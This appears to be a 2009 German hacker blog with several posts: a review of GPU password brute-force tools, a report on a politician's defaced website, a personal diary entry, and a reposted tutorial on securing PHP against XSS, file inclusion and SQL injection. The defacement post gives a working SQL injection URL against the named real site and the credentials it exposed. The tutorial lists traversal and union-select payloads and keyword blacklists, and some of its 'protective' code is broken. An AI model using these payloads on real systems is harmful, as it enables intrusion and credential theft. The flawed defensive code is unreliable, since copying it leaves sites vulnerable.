Ade Rainbow Tables, Hallo GPU Brute-Force – Teil 2

Heyho,

da in meinem ersten Teil von “Ade Rainbow Tables, Hallo GPU Brute-Force” *klick* ein paar Tools vorgestellt wurden, leider einige auch fehlerhaft, kommt hier ein verbesserter kleiner Nachtrag 🙂

Zu BarsWF:

Vorteile:

+ schnellster Brute-Force in diesem Test (5sek fuer 7 stelliges PW aus Kleinbuchstaben)!
+ Kostenlos/Freeware
+ Auswahl von Charset waehlbar (”-c 0aA~ Set charset. 0 – digits, a – small chars, A – capitals, ~ – special symbols”, -c a = Kleinbuchstaben, welches ich auch verwendet hatte)
+ Nettes Design in der Console
+ “Brute-Forced” wird ueber volle CPU + GPU Power (kommt bei mir Nvidia GeForce GTX 280 & Intel Quadcore Q9550 auf ~ 950 MHash/sec)

Nachteile:

– Leider keine Saltet Hashes Brute-Force moeglich

Zu Lightning Hash Cracker:

Vorteile:
+ Kostenlos/Freeware
+ Speed ist ganz ordentlich

Nachteile:
+ Stoppt bei meinen Testlaeufen irgendwie wann es will, ohne den Hash zu entschluesseln (siehe Screenshot)
+ Usage ist auch ein bisschen kompliziert, im Vergleich zu den anderen Brute-Forcern

Zu etwas”neuem” bzw. was ich beim letzten Test nicht erwaehnt hatte, CuMD5:

Vorteile:
+ Kostenlos/Freeware
+ Man kann bei der Charsetauswahl angeben, welche Buchstaben waehrend des Brute-Force-Angriffes verwendet werden kann
+ Geschwindigkeit in Ordnung

Nachteile:
– Eventuell am Anfang etwas kompliziert die Sache mit den Charsets, da klein a nicht fuer reihen a-z zaehlen sondern fuer den buchstaben a – Habs versucht in dem Screen eventuell zu erklaeutern, wie ich das gemacht hab.
– “Herstellerseite” wirkt etwas unserioes

Und zu nvCUDA, welches ich letztes mal nicht testen konnte:

Und auch diesmal scheint es nicht richtig klappen, ich erhalte jedes mal einen “runtime error”, obwohl ich nun extra die cudart.dll runtergeladen und in den Ordner verschoben hatte  -.-

Ist mir aber nun egal.

Die Sieger stehen sowieso fest:

Platz 1 fuer normales MD5 Hash Cracking ist

BarsWF: http://3.14.by/en/md5

Zeigte “ueberragende” Leistung und war schnellster Bruteforcer im Test 🙂

Platz 1 fuer Salted Hashes ist:

Extreme GPU Bruteforcer: http://www.insidepro.com/eng/egb.shtml

Leider kostenpflichtig, jedoch lohnt es sich, wenn man vorallem viel mit Salted Hashes zu tun hat 😉

Joa, das wars soweit, eventuell folt nochn kleiner Teil 3, dieser wird aber nur kurz sein, und zeigen/beschreiben wie man die “Testsieger” richtig anwendet.

Mehr zum Thema GPU Bruteforce auch hier: *klick*

martin-schulz.info hacked?!

Die Website vom Martin Schulz “Vorsitzender der Fraktion der Sozialdemokratischen Partei Europas (SPE) im Europäischen Parlament” wurde am 13.07.2009 defaced.

Aufmerksam wurde darauf gemacht mit “Zensursula ICH LIEBE DICH” und dem Zensursula Video http://youtube.com/watch?v=O4vbdusj7Pk

Hier sind screenshots von 9 Eintraegen in “Aktuelles”, eventuell sieht man nun wie l33t einige doch sind 🙂

Nr. 2:

Nr. 3:

Nr. 4:

Nr. 5:

Nr. 6:

Nr. 7:

Nr. 8:

Nr. 9:

Und so lustig wie einige sind, wurde auch noch extra das “Zur Person” geaendert:

Tja.. was soll man dazu noch sagen.

Mich wudert es eher warum die Seite erst jetzt defaced wurde, da die Luecke keine schwer zu findende war.

Die (vollendete) SQL Injection:

http://martin-schulz.info/index.php?link=4&bereich=1&details=1&id=-180+union+select+1,concat_ws(0x3a,benutzername,passwort),3,4,5,6,7,8,9,10,11,12,13+from+user-- f

Ausgegeben wird uns:

visualseven:chang0red

Das heißt jemand war schneller und hat das PW geaendert zu “chang0red”. Mich wunderts nur dass das PW in der MySQL DB plain / unverschluesselt gespeichert wird..

Najo was soll man noch dazu sagen?

Richtig. Hat die Aktion auch nurn bissle was gebracht? Konnte irgendwas erreicht werden in der Politik, außer dass nun andere gegruesst wurden und von einigen Leuten das kindischen Verhalten freien Lauf hatte? Nicht wirklich.

Gedanken Pause…

Soho, Da  j0hny unser lieber smod z.Z. ein gedächniss Pause hat, werd ich ma heute hier einen eintrag machen.

Zu mir: Man Nennt mich KellerKind und liebe AUCH j0hny… Also jz nich eifersüchtig werden 😛

Meine Rechtschreibfehler sollten hoffentlich nich stören und wenn doch, joa mir egal 😛

Naja, Was ist heut sooo Passiert?

J0hny war Fahrschule, sollte eigentlich nur 1ne stunde dauern, wurde dann doch 3 :D… Von daher hat sich das MATCH p0nny und sein hof gegen Kartoffel-Team bisschen verzögert. Es ging aber 16:5 für p0nnys hof aus.

Das Game war sehr lustig. Wir, das Kartoffel-Team, haben sehr sehr viel gelacht. Die Mitglieder Dimex, KellerKind (ich und voodoo666 haben sich sehr amüsiert… Zum einen da Suicide gecheatet hat, bzw weil er nicht gecheatet hat. Er hat uns übelst WEG GEPWNED!!! Anfangs war ich übelst am leegen, doch dann kam VOODOO xD… Wir haben uns alle sowas von übelst tod gelacht über seine lecks xD

mhm… was is den noch so Passiert?

Ich habe zu Mittag spaghetti gegessen… Hatte gestern abend mit c1ox und j0hny eine kleine Telefon Konferrenz. Stalk3ers Handy wurde mitgewaschen.

Was noch erwähnens wert, Marabunta wurde ausm IRC gebannt und hoffentlich versteht  er endlich das ihn keiner mag… Elixarie (or what ever) wurde für 1 tag oder woche gebannt. Find ich gut 🙂 ein drecks spammer weniger.

MHM! Mir fällt nix mehr ein… Was ich noch sagen könnte is das ich das hier in 1ner stunde geschrieben hab, weil die mich im TS und IRC ablenken…

Vill. kann ich nochma auf die Partner hinweisen. Manche von den Blogs sind lesenswert also ein MUSTSEE xD

J0hny zockt atm css bzw guckt zu, um zu gucken das keiner cheatet….

Naja ich glaube mal ich Stoppe hier und hau paar grüße raus 🙂

z.b. an: J0hny 🙂 danke das ich mal bloggen durfte 🙂

Dimex :), nrxpro :-*, p0se, Montaxx, Rafi, tmh, Hoohead, wui:>, c1ox, dvd, haxx0r007, soulstoned, Stalk3er, Gabber Gandalf, Sirius, Kause, 13mama37, Earl, curry, Fred, Hawk, k1ngc0bra :), korni, lemontree, maoshe,  th3flood, till, voodoo .

Dann an Free-hack , Creative-Coding und Szene Coderz 🙂

Wenn ich jemand vergessen hab seit mir ruhig böse, ES WAR ABSICHT! 😛 ne spaß, dann sry mein gehirn denkt nur begrentzt…

Joa und entschuldigt das hier so bissel müll usw steht aber das was ich eigentlich bloggen wollte hab ich leider gottes vergessen aber ihr könnt mir sicher verzeihen 🙂

ACHJA: milw0rm wird doch nich geschlossen. Er wird das Projekt an Freunde weitergeben die es Weiterführen werden.

Find ich gut.  Hoffentlich werden sie es gut weiterführen 🙂

Update: J0hn Gefällts 🙂 Vill. schreibt er ja auch was drunter :)… Wenn ihr mich mögt bzw mein POST hier xD mach ich das vill wöchentlich (solang j0hny nix dagegen hat :D)

Goodbye milw0rm?!

Grad eben gefunden:

Well, this is my goodbye header for milw0rm. I wish I had the time I did in the past to post exploits, I just don’t :(. For the past 3 months I have actually done a pretty crappy job of getting peoples work out fast enough to be proud of, 0 to 72 hours (taking off weekends) isn’t fair to the authors on this site. I appreciate and thank everyone for their support in the past.
Be safe, /str0ke

Und auch ganz unten steht

submissions are closed.
Videos hosted by Tradebit file hosting
Copyright © 2004-2009 milw0rm

Quelle: http://milw0rm.com/

Finds echt verdammt schade und hoff das er vllt. mal zurueck kommt bzw. weiter macht 🙁

Btw. werd morgen muendliche Pruefung Mathematik haben.. wuenscht mir Glueck 🙂

Webseite gegen XSS, SQLi’s, RFI und LFI schützen

Tag,

da ich Power-Sven sein Tutorial zum Schutz gegen XSS, SQL Injections, RFI & LFI super finde, habe ich ihn gefragt, ob ich es hier bloggen darf und er meinte ja 🙂 Daher, hier ist es:

Auf Wunsch schreibe ich hier mal ein Tutorial bzw. eher einen Ratgeber, wie man eine Webseite sicher gegen SQLInjectionen, Cross Site Scripting (XSS) und Local / Remote File Inclusions (LFI / RFI) machen kann.
Dabei gehe ich auf Funktionen sowie Codes ein und zeige das ganze aus der Sicht des Angreifers und mögliche Abwehrmethoden.
Ich werde auch kurz darauf eingehen, wie kluge “Hacker” dennoch an eure Daten kommen könnten, und wie ihr auch dies verhindert.

Cross Site Scripting (XSS)

Natürlich ist es sinnvoll, so wenige Queries wie möglich auszuführen. Aber wenn man Werte einfach in der URL übergibt oder unüberprüft aus einem Formular übernimmt, kann es schnell gefährlich werden. Cross Site Scripting ist somit nicht undenkbar.

Beim Cross Site Scripting wird versucht, JavaScript-Codes auszuführen.
Ein nicht vertrauenswürdiger Code wird mangels Prüfung an ein vertrauenswürdiges Kontext übergeben und ausgeführt. Somit kann z.B. eine Seite als Phishingseite missbraucht, defaced oder für sonstige Zwecke genutzt werden.
Wir unterscheiden in reflektives und persistentes XSS. Beim reflektiv XSS ist es so, dass GET oder POST-Werte ohne oder mit nur mangelhafter Überprüfung auf der Seite gespiegelt (reflektiert) werden. GET bedeutet, dass über den so genannten Query-String, welcher hinter dem Fragezeichen (?) in der URL beginnt ein Wert übergeben wird. Z.B.

http://url/index.php?catid=1&cattitle=Wie verhindern wir XSS

POST hingegen wird meist über Formulare übertragen und ist nicht sichtbar.
Durch das Firefox-Addon Live HTTP Headers kann man sie dennoch sehen.

Sieht man auf der Seite nun eine Ausgabe, wie “Wie verhindern wir XSS” so kann man schonmal davon ausgehen, dass dieser Wert aus der URL geholt wurde. Also versucht man

http://url/index.php?catid=1&cattitle=

wird ein Alarmfenster mit 1337 kommen. Der Fremdcode wurde erfolgreich eingeschleust. Selbiges kann auch passieren, wenn man in einem Gästebuch ist und die Eingaben gespeichert werden. Wird bei der Ausgabe des Beitrages ein Alarmfenster ausgegeben ist dieses XSS persistent.

Beide Methoden lassen sich verhindern, in dem die Variablen ausreichend geprüft werden.

Ein Code, der z.B. die Kategorie ausgibt kann bei obigem Beispiel so aussehen:

print $_GET['cattitle'];  

Der Wert, der hinter cattitle in der URL steckt, wird geholt. Er lautet “Wie verhindern wir XSS” und wird ausgegeben.
Wie man sieht, vollkommen ungeprüft.
Nun gibt es eine einfache Methode, die die Variable so bearbeitet, dass zwar

ausgegeben, jedoch nicht ausgeführt wird. Hier für nutzen wir die Funktion htmlentities().
Diese wandelt Sonderzeichen in ihre HTML-Codes um, wodurch HTML die Zeichen wieder in ihren Ursprung umwandelt.
< wird zu > und wieder zu <. Die Ausführung wird hierbei verhindert.

print htmlentities($_GET[‘cattitle’]);  

Genauso können wir die Sonderzeichen auch einfach entfernen, in dem wir sie mit str_replace() ersetzen.

$replace = array("<",">","alert","script");

foreach($replace AS $key) {

    str_replace($rep,"",$_GET['cattitle']);

}  

Hierbei wird einfach ein Array in einer Schleife bearbeitet, wobei jedes gefundene Zeichen aus dem Array in der Variable mit garnichts ersetzt wird. Sprich: Entfernt.

Local File Inclusions

Der Grundgedanke ist klar: Der Webmaster versucht, eine zweite Datei innerhalb einer ersten auszuführen.
Hier für nutzt er die include()-Funktion in PHP.
Das dient meistens dem Verändern des Contents der Seite. Auch aus Faulheit, um Templates zu nutzen. Das Template wird in der index.php erstellt und der Main-Content per include geändert.

Ein möglicher Code wäre also:

include($_GET['site']);  

Meist liegen die Webseiten in Verzeichnissen, die z.B. htdocs, html oder ähnlich heißen. Diese Webseiten liegen auf so genannten “Servern”. Das sind Rechner, die ihre Leistung in das am laufen halten der Dienste stecken, die die Webseiten ins Netz stellen.
Die Seiten liegen somit z.B. in /var/www/htdocs/ und ähnliches. Ganz weit hinten liegen aber noch andere Verzeichnisse, wie z.B. etc/passwd. Zum testen, ob eine locale file inclusion möglich ist versucht man nun zurückzunavigieren.
Durch “../” kann man in das übergeordnete Verzeichnis wechseln.
Der Aufruf oben sähe z.B. so aus:

http://url/index.php?site=main.php

Wir versuchen nun eine andere Datei zu includen.

http://url/index.php?site=../../../../../../../../etc/passwd/

Wird passwd dargestellt kann man theoretisch auch jede andere Datei auf dem localen Webspace includieren. Und das kann gefährlich werden. Seht euch hierzu auch das Text-Tutorial von Lidloses_Auge an.

Nun, wie verhindern wir eine locale File Inclusion? Die Methoden, wie sowas möglich ist stehen im vorhin genannten Tutorial. Die Bekämpfung ist klar: Wir müssen verhindern, dass eine andere Datei aufgerufen wird außer jenen, die erlaubt sind.
Also warum nicht unterscheiden zwischen den Aufrufen? Ich löse das Problem nun mit der switch()-Funktion, obwohl es sicher noch viele andere Methoden gibt. Zudem werde ich per str_replace die "../" aus dem Aufruf rauslöschen.

switch(str_replace("../","",$_GET['site'])) {

    case "main":

        include("main.php");

    break;

    case "contact":

        include("contact.php");

    break;

    case "about":

        include("about.php");

    break;

    default:

        include("main.php");

    break;

}  

Default stellt hierbei den Standard dar. Sofern versucht wird, etwas aufzurufen, was nicht in den cases (vom englischen. Case = Fall) steht wird main.php includet.
Ein möglicher Aufruf wäre nun:

http://url/index.php?site=about

Das ist viel sicherer und auch eleganter, als der ganz oben gezeigte Code.

Remote File Inclusions

Im Unterschied zu den local file inclusions wird bei der remote Variante versucht eine Datei von außen zu includieren.
Auch hier kann ich zur Funktionsweise und Vorgenesweise des Angreifers das Text-Tutorial von Lidloses_Auge empfehlen.

Ein Code könnte genauso aussehen, wie bei der local Inclusion:

include($_GET['site']);  

Stehen in der php.ini (Konfrigurationsdatei für PHP auf dem Webserver) nun die beiden Einträge "allow_url_fopen" und "allow_url_include" auf "on" so könnte eine RFI möglich sein.

Ein möglicher Aufruf, um dies zu testen wäre:

http://url/index.php?site=http://google.de/index.php

Wird Google in der Seite dargestellt kann man auch z.B. eine Shell includen.

Wie verhindern wir das ganze nun? Wenn ein include einer externen URL nicht notwendig ist, kann man beim Provider des Webspace darum bitten, dass die Einstellung "allow_url_include" auf "off" gestellt wird. Dies ginge zwar auch per ini_set(). Das geht aber nur temporär für die momentan aufgerufene Datei und muss somit in jeder Datei nach ganz oben gestellt werden.
Eine weitere Möglichkeit wäre es, wie unter local file inclusions schon genannte das switch()-Statement zu nutzen.
Oder man sorgt dafür, dass externe URL's garnicht aufgerufen werden können:

$inarray = array("http", ":", "//", ".de", ".com");

foreach($inarray AS $key) {

    if(stristr($_GET['site'],$key)) {

        die("Access denied!");

    }

}

include($_GET['site']);  

Die Funktion stristr() prüft unabhängig von Groß- und Kleinschreibung, ob der gesuchte String in der Zeichenkette vorkommt. Wenn ja, dann wird in diesem Fall das Script mit der Fehlermeldung "Access denied" (Zugriff gescheitert) ausgegeben. Leute mit etwas Humor können auch z.B. "Nice try" (=Netter Versuch) ausgeben lassen ^^.
Anderenfalls (wenn das Script nicht abgebrochen wird an der Stelle) wird site includiert. Auch hier kann man noch z.B. eine Funktion hinzufügen, die "../" entfernt, um LFI's zu verhindern. Oder man packt das "../" direkt oben in das Sucharray.

SQLinjections

Nun, wozu MySQL dient muss man sicherlich nicht mehr erläutern. Und was der Angreifer daraus abfragen kann mit Sicherheit auch nicht. Denn es sind ja nicht nur Zugangsdaten, wie Passwörter und Loginnamen oder gar Emails. Adressdaten, Kreditkarteninformationen und Email-Adressen lassen sich bequem abfragen, wenn erst einmal eine Lücke vorhanden ist.
Für das Verständnis, die SQLinjectionen funktionieren kann ich auch hier Tutorials empfehlen.
Lidloses_Auge hat in der zugehörigen Sektion vier Tutorials zu dem Thema verfasst.

Es ist natürlich einfach unerlässlich, Daten in Form von Identifikationsnummern (ID's) über den Query-String der URL zu übermitteln. Ein Beispiel dafür wäre dieses:

http://url/shop/product.php?id=23

Die ID wandert oft ungeprüft in eine Abfrage an MySQL. Bei diesem Beispiel könnte es so aussehen:

mysql_query("SELECT title,price,description,category,paymethods FROM `datenbank1`.`shop` WHERE `shop`.`id` = '".$_GET['id']."'");  

Übergeben wir einen anderen Wert, als einen Integer als ID so können wir durch union select oder den blind-Methoden eigene Abfragen starten.
In diesem Fall haben wir fünf Columns (title, price, description, category, paymethods) nehmen wir an, es sei eine von den "guten alten" Union-Select-Injectionen.

http://url/shop/product.php?id='+union+select+@@VERSION,2,3,4,5,6,7--+

sähe dann im Query so aus:

mysql_query("SELECT title,price,description,category,paymethods FROM `datenbank1`.`shop` WHERE `shop`.`id` = '' union select @@VERSION,2,3,4,5,6,7--+'");  

So, wie verhindern wir nun, dass jemand versucht auf diese Methode oder durch Blind-Injectionen eigene Abfragen zu starten?
Sofern Integer übergeben werden, können wir sagen, dass jede Eingabe als Integer behandelt werden soll.
Dies kann mit der Funktion intval() geschehen.
Intval steht für "Integer validation". Integer sind Zahlenwerte, und Validation würde ich jetzt mal mit "Gültigkeitsprüfung" übersetzen. Die Funktion prüft also, ob es sich bei der Eingabe um einen gültigen Integer handelt. Sofern etwas anderes übergeben wird, schlägt die Validation fehl und eine Fremdabfrage ist nicht möglich.

mysql_query("SELECT title,price,description,category,paymethods FROM `datenbank1`.`shop` WHERE `shop`.`id` = '".intval($_GET['id'])."'");  

Eine andere Möglichkeit, damit keine leere Ausgabe erreicht wird, wie es im gerade eben gezeigten Beispiel der Fall sein würde wäre eine Entweder-Oder-Abfrage mit der Bedingung "is_int(). Is_int() prüft, ob eine Zeichenkette vom Typ Integer ist und gibt entweder true oder false (wahr oder falsch) zurück. Ich gebe der Variable id den Wert einer Entweder-Oder-Abfrage, wobei sofern es ein Integer ist die Variable nochmals als Integer validiert wird.

$id = (is_int($_GET['id'] ? intval($_GET['id']) : "1");
mysql_query("SELECT title,price,description,category,paymethods FROM `datenbank1`.`shop` WHERE `shop`.`id` = '".$id."'");  

Nun, diese Methoden schützen erfolgreich vor SQLinjectionen. Was aber tun, wenn der Fall eintritt, dass z.B. jemand eine Suchfunktion nutzt? Hier werden ja nicht nur Integer sondern auch ganz normale Strings abgefragt:

http://url/search.php?word=suchmich

Ich denke die beste Methode, zu prüfen, was übergeben wird ist eine "Badwordliste" zu erstellen, die das laufende Script beendet, wenn eines der bösen Wörter gefunden wird. Dies kann mit den Funktionen preg_match(), foreach() und stristr().
Zuerst einmal eine Kombination aus foreach und stristr:

$boese = array("union","select","/*","*/","--+","-- f", "from","and","ascii","substring","substr","@@VERSION","version()","concat","concat_ws","(",")","char","instr","information_schema","columns","table_schema","table_name","column_name","hex","unhex");
$query = $_SERVER['QUERY_STRING'];

foreach($boese AS $evil) {

    if(stristr($url,$evil)) {

        die("Access denied!");

    }

}

$host = "localhost";
$user = "Power-Sven";
$password = "free-hack";
$db = "tutorial";

@mysql_connect($host,$user,$password);
@mysql_select_db($db);  

Okay, nehmen wir den Code einmal auseinder. Zuerst einmal werden für Injectionen typische Begrifflichkeiten in ein Array geladen. Diese Blacklist ist natürlich nur eine ungefähre Liste und sollte erweitert werden, wie man sie eben braucht. Anschließend wird der Query-String (das, was in der URL hinter dem Fragezeichen steht) in die Variable query gesteckt. Nun wird das Array boese durchlaufen. Der aktuell angewählte Wert (zuerst union, dann select usw.) wird in die Variable evil geladen. Stristr prüft unabhängig von Groß- und Kleinschreibung (also sowohl UNION als auch union, Union etc.) nun, ob einer der Begriffe im Query-String vorkommt. Wenn ja, wird das Script beendet, in dem "Access denied" ausgegeben wird. Wenn nicht, wird eine Datenbankverbindung hergestellt. Somit kann man schon in den Ansätzen verhindern, dass überhaupt eine Verbindung aufgebaut wird, wenn eine Injection versucht wird. Dieses Script kann in der Verbindungsdatei zum Einsatz kommen.
Statt stristr kann nun auch preg_match mit dem regulären Ausdruck "/Suchbegriff/" genutzt werden.

Wird nun z.B.

http://url/shop/product.php?id='+union+select+@@VERSION,2,3,4,5,6,7--+

aufgerufen wird das Script bereits beendet, wenn "union" gefunden wird. Auch hier kann man natürlich beliebig mit Entweder-Oder-Abfragen und anderem variieren.

Selbstverständlich sollte man nicht davon ausgehen, dass nur über GET Injectionen möglich sind. Somit sollte sämtlicher Datenverkehr komplett überprüft werden, bevor man von Sicherheit ausgehen kann. Sprich: Cookies, GET, POST etc.

Auch sollte darauf geachtet werden, dass durch die PHP.Ini-Einstellung "magic_quotes_gpc" das Sonderzeichen "Hochkomma" (') durch den Backslash escpaped wird. Steht diese Einstellung auf "on", so wird aus ' ein \', was die Funktionsweise aushebelt.
Eine Alternative ist die Funktion mysql_real_escape_string(), welche das escapen übernimmt, wenn die magic_quotes_gpc = off ist. Jedoch muss dies auf jede Variable angewendet werden, über die ggf. eine Injection übermittelt werden kann.

$suchbegriff = mysql_real_escape_string($_GET['suchbegriff']);

Bedenkt auch: Die Mischung machts 😉 . Es gibt sicher nicht "die" Lösung gegen Injectionen. Aber das ist schonmal ein Grundsatz, den man nutzen kann.

Social Engineering

War doch eigentlich klar, dass ich das auch noch erwähne, oder? 😉
Einige denken, wenn sie sich gegen XSS, SQLinjections, RFI / LFI etc. schützen, seien sie sicher. So lange jedoch Menschen die sind, die all das nutzen und verwalten können wir niemals von kompletter "Sicherheit" reden.
Ich simuliere mal ein ICQ-Gespräch, in dem jemandem ein Passwort abgeluchst wird:

(Person 1): Hey
(Person 2): Moin auch
(Person 1): Sag mal Du hattest da doch diese Webseite?
(Person 2): Ja, wieso? Wer bist Du eigentlich?
(Person 1): Erinnerst Du Dich nicht mehr? Ich bin Person 1, Du kennst mich aus der Schule. Physik Leistungskurs, weißt Du noch?
(Person 2): Achso... Ja... Was ist denn mit meiner Webseite?
(Person 1): Keine Ahnung. Ich komme nicht mehr richtig drauf. Sie wird falsch dargestellt und ich erkenne nichts
(Person 2): Ich schon *Schulter zuck*
(Person 1): Mh... Nutzt Du BrowserXY?
(Person 2): Ja, wieso?
(Person 1): Hast Du die Seite etwa nicht an Browser42 angepasst? Dabei ist das doch so einfach...
(Person 2): Erzähl :)
(Person 1): Schwer zu erklären... Also Du startest Deinen FTP-Clienten und connectest zum Server... Anschließend navigierst Du ins Templates-Verzeichnis und ändert die Struktur der Datei so, dass Browser42 es richtig interpretiert. Das hatten wir doch in Jahrgang 10 in Informatik ^^
(Person 2): ...Ja, natürlich, wusste ich. Weiß ich auch noch, habe nur keine Zeit... Kannst Du mir das nicht machen?
(Person 1): Klar. Mit welchen Daten loggest Du Dich ein? Also Host ist xy.h1.host.de, das weiß ich.
(Person 2): Ja, Host ist xy.h1.host.de. Einloggen tust Du Dich mit xy, das Passwort lautet pwn3d.
(Person 1): Vielen Dank, ich melde mich
(Person 2): Ich habe zu danken

Jemand aus der Schule weiß z.B., dass die Person 2 in einem Physik Leistungskurs war oder ist und kennt vielleicht sogar einige Namen. Person 1 weiß das und gibt sich als jemand anderes aus. Person 1 gewinnt somit das Vertrauen von Person 2.
Auch hat Person 1 einiges an Fachwissen. Er hat den Host der Webseite herausgefunden und kennt einige Fachbegriffe aus dem Jargon. Nun hat er das Vertrauen und Person 2, die ihn nicht richtig versteht, da er ahnunglos ist redet sich raus, er habe keine Zeit. Er bittet Person 1 darum, doch bitte die Anpassungen für ihn vorzunehmen.
Selbstverständlich gibt es garnichts anzupassen, das war ausgedacht. Person 2 hat Browser42 nicht installiert und kann es nicht prüfen, das macht sich Person 1 zu Nutze und erhält die Zugangsdaten.

Das soll jetzt nur so viel heißen wie: Denkt nicht, ihr wäret komplett sicher, wenn ihr eure Seite schützt. Der MEnsch, der dahinter steckt ist mit Sicherheit immernoch anfällig für Social Engineering und ähnliche Prozeduren.

Schlusswort

Ich hoffe mal, euch hat dieses Tutorial ein Wenig geholfen. Denkt immer dran, eure Scripte ausreichend zu schützen. Denn Sicherheit wird in dieser Zeit benötigt, da es immer mehr Methoden gibt, an eure privaten Daten zu kommen.

PS.: Das meiste hiervon ist heute Nacht gegen 1:00 Uhr entstanden. Bitte nicht meckern, wenn da ein Paar Fehler drin sind 😉 .

Quelle: http://free-hack.com/showthread.php?t=41091

An dieser Stelle nochmal vielen lieben Dank an Power-Sven hierfuer 🙂